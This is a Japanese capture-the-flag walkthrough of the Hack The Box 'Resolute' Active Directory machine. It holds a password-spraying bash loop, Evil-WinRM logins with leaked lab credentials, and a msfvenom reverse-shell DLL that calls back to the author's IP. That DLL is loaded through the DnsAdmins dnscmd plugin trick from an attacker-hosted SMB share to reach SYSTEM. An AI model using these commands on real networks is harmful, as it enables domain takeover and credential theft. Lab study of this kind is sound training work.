Hack The Box: Resolute Walkthrough (Japanese)


注意

このWalkthroughはHack The Box(以下、HTB)の問題であるResoluteの解説を目的とした記事です。不正アクセス等の違法行為を助長するものではありません。

はじめに

HTBってフォーラムないと解けなくない!?!?!?
これを仕事でやっているRedTeamの人すごすぎる。。

Infocardは次のとおり。

Walkthrough

User権限を取るまで 

nmapスキャン

まずはnmap

53/tcp    open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 07:01:13Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49688/tcp open  msrpc        Microsoft Windows RPC
49709/tcp open  msrpc        Microsoft Windows RPC
55368/tcp open  tcpwrapped
55451/tcp open  tcpwrapped
55496/tcp open  tcpwrapped

88/tcpや389/tcpが開いているのでこれもADサーバっぽいことがわかる。

enum4linux

一部抜粋。

 =============================
|    Users on 10.10.10.169    |
 =============================
~snip~

index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak   Desc: Account created. Password set to Welcome123!

~snip~

アカウントmarkoのパスワードはWelcome123!書いてある
nmapの結果からWinRMのポートが開いているのでIDとPWを使ってログインを試みるができない。すでにPWが変更されている様子。

smbclient

Linux上で利用できるsmbのクライアント。フォーラムにヒントがあったのでこの環境では初期パスワードとしてWelcome123!が利用されていると仮定して、パスワードをそのままで運用しているユーザを探す。

user.txt
MEGABANK\\krbtgt
MEGABANK\\ryan
MEGABANK\\marko
MEGABANK\\sunita
MEGABANK\\abigail
MEGABANK\\marcus
MEGABANK\\sally
MEGABANK\\fred
MEGABANK\\angela
MEGABANK\\felicia
MEGABANK\\gustavo
MEGABANK\\ulf
MEGABANK\\stevie
MEGABANK\\claire
MEGABANK\\paulo
MEGABANK\\steve
MEGABANK\\annette
MEGABANK\\annika
MEGABANK\\per
MEGABANK\\claude
MEGABANK\\melanie
MEGABANK\\zach
MEGABANK\\simon
MEGABANK\\naok
abc.sh
#!/bin/bash
while read line
do
   echo "Welcome123!" | smbclient //10.10.10.169/Users/ -U $line
done < ./user.txt
$ ./abc.sh
~snip~
Enter MEGABANK\annika's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\per's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\claude's password:
session setup failed: NT_STATUS_LOGON_FAILURE

### エラーが出ていない
Enter MEGABANK\melanie's password:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
###

Enter MEGABANK\zach's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\simon's password:
session setup failed: NT_STATUS_LOGON_FAILURE
Enter MEGABANK\naok's password:
session setup failed: NT_STATUS_LOGON_FAILURE
~snip~

melanieでログイン関連のエラーが出なかった。
WinRM経由でログインしてみる。

Evil-WinRM

userのflagゲット。

$ ruby evil-winrm/evil-winrm.rb -i 10.10.10.169 -u melanie -p Welcome123!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\melanie\Documents> type ../Desktop/user.txt
0c3be45fcfe249796ccbee8d3a978540

Root権限を取るまで

管理者が残したログを見つける

なぜかC:\にTranscriptのログが落ちているので内容を確認する。

*Evil-WinRM* PS C:\> Get-ChildItem -force


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        5/23/2020   6:31 PM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        5/23/2020   3:13 PM      402653184 pagefile.sys

*Evil-WinRM* PS C:\> Get-ChildItem C:\PSTranscripts\ -force -Recurse


    Directory: C:\PSTranscripts


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--h--        12/3/2019   6:45 AM                20191203


    Directory: C:\PSTranscripts\20191203


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-arh--        12/3/2019   6:45 AM           3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

ログっぽいものが落ちている。
内容を確認するとnet useしようとしたときにユーザのパスワードが記録されてしまっているのでこの認証情報を用いてログインしてみる。

*Evil-WinRM* PS C:\PSTranscripts\20191203> Get-Content PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
~(snip)~
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
~(snip)~

ruby evil-winrm/evil-winrm.rb -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami
megabank\ryan

できた。

ユーザ「ryan」の調査

DnsAdmins権限を持っている。悪用できそう。

*Evil-WinRM* PS C:\Users\ryan\Documents> whoami /all

USER INFORMATION
----------------

User Name     SID
============= ==============================================
megabank\ryan S-1-5-21-1392959593-3013219662-3596683436-1105


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

DnsAdmins権限を用いた権限昇格

「dnsadmins privesc」などで検索を行うとDLL Injectionを用いた方法が出てくる。
WindowsのDNSにはカスタムプラグインとしてDLLを読み込む機能があるそう。
dns.exeがSYSTEM権限で動いているという前提はあるがそのカスタムプラグインとして読み込ませるDLLをリバースシェルにしてやるとADの乗っ取りができそう。

事前調査

攻撃が成功するか検討するため、情報を集めます。

  • DNSプロセスの存在確認
*Evil-WinRM* PS C:\Users\ryan\Documents> Get-Process -Name dns

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   5312    3697    68992      67928              3416   0 dns
  • DNSCMDコマンドの確認
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd /Info

Query result:

Server info
    server name              = Resolute.megabank.local
    version                  = 3839000A (10.0 build 14393)
    DS container             = cn=MicrosoftDNS,cn=System,DC=megabank,DC=local
    forest name              = megabank.local
    domain name              = megabank.local
    builtin forest partition = ForestDnsZones.megabank.local
    builtin domain partition = DomainDnsZones.megabank.local
    read only DC             = 0
~(snip)~
  • サービスの確認
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe query dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

msfvenomによるペイロードの作成

適当にリバースシェルを行うDLLを作ります。LHOSTは手元のKaliのIPアドレスにします。

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f dll --platform windows > rev.dll

Exploit

適宜ターミナルは分けてください。
Desktop上に注意事項があるので読みます。

*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt
Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
  • NCコマンドでリバースシェルを待ち受けます。
nc -nlvp 4444
  • Impacketのsmbserverでsmbserverを立ち上げます。

DLLをアップロードすると検疫されてしまうのでその対策です。
rev.dllがあるフォルダでコマンドを実行します。

sudo impacket-smbserver share ./
  • プラグインを設定した上でDNSサービスの再起動を行います。

すべてコピペをした上でコンソール上に貼り付けることで順次コマンドが実行されていくため便利です。

dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.15.233\share\rev.dll
sc.exe stop dns
Get-Service dns
sc.exe start dns
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
Get-Service dns

rootのflagゲット

リバースシェルを待ち構えていたターミナルを見るとコマンドが打てるようになっています。

C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>type root.txt
type root.txt
e1d94876a506850d0c20edb5405e619c

原因/対策

初期設定パスワードが使い回されていた。

運用上は楽なんだろうけども、、
初期パスワードを変更しないで使っている人も見据えて運用する側で考えていくしかないですね。

Transcript内に管理者のID/Passowrdが残っていた

ログに残ってしまうという事故ですが、Cドライブ直下に残ってしまったというのも不運でした。

dns.exeのプラグイン機能

これってそもそも無効にできるのでしょうか?
対策はあるのでしょうか?

参考リンク